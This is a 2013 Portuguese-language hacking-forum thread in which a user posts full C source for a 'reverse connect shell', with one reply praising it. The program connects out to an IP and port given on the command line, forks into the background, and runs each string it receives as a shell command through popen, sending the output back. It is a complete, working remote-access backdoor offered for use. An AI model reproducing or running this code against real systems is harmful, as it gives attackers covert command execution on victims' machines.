seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Participe do fórum, é rápido e fácil

seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

Você não está conectado. Conecte-se ou registre-se

Reverse connect shell

2 participantes

Ir para baixo  Mensagem [Página 1 de 1]

1Reverse connect shell Empty Reverse connect shell Qua Out 23, 2013 5:20 pm

mmxm

avatar
avançado
avançado

[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]

Código:
/*
 * reverse.c
 *
 * Copyright 2013 MMxM <@!-!@>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
 * MA 02110-1301, USA.
 *
 *
 */
 
 
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
int error(char *err){
   perror(err);
   exit(EXIT_FAILURE);
}
 
int help(char *name){
   printf("\n[+] R3v3r53 c0nn3c7 5h3ll 8y MMxM\n");
   printf("[*] How to use: %s <ip> <port>\n\n",name);
   exit(EXIT_SUCCESS);
}
 
int background(void){
   pid_t pid;
   pid = fork();
   if(pid){
      exit(0);
   }
}
 
int main(int argc,char *argv[]){
   if(argc != 3) help(argv[0]);
   int msocket,recebidos,caracter;
   char ip[16];
   strncpy(ip,argv[1],15);
   int port = atoi(argv[2]);
   char resposta[101];
   char mensagem[2];
   struct sockaddr_in addr;
   FILE *command;
   msocket = socket(AF_INET,SOCK_STREAM,0);
 
   if(msocket < 0){
      error("Fail to make socket\n");
   }
 
   addr.sin_family   = AF_INET;
   addr.sin_port = htons(port);
   addr.sin_addr.s_addr = inet_addr(ip);
 
   memset(&addr.sin_zero,0,sizeof(addr.sin_zero));
 
   if(connect(msocket,(struct sockaddr*)&addr,sizeof(addr)) == -1){
      error("Fail to connect\n");
   }
 
   background();
   printf("[+] Running in background\n");
   send(msocket,"[+] Connect\n[*] Coded by MMxM\n\n",31,0);
 
   while(recebidos = recv(msocket,resposta,100,0)){
      resposta[recebidos] = '\0';
      if(recebidos){
         command = popen(resposta,"r");
         while(caracter = fgetc(command)){
            if(caracter == EOF) break;
            sprintf(mensagem,"%c",caracter);
            send(msocket,mensagem,1,0);
         }
         pclose(command);
      }
      memset(&resposta,0,sizeof(resposta));
      memset(&mensagem,0,sizeof(mensagem));
      memset(&recebidos,0,sizeof(recebidos));
      memset(&caracter,0,sizeof(caracter));
   }
 
   close(msocket);
   exit(EXIT_SUCCESS);
}

2Reverse connect shell Empty Re: Reverse connect shell Qua Out 23, 2013 5:40 pm

Kodo no Kami

Kodo no Kami
master
master

muito show mano *-*

https://endoffile.umforum.net

Ir para o topo  Mensagem [Página 1 de 1]

Permissões neste sub-fórum
Não podes responder a tópicos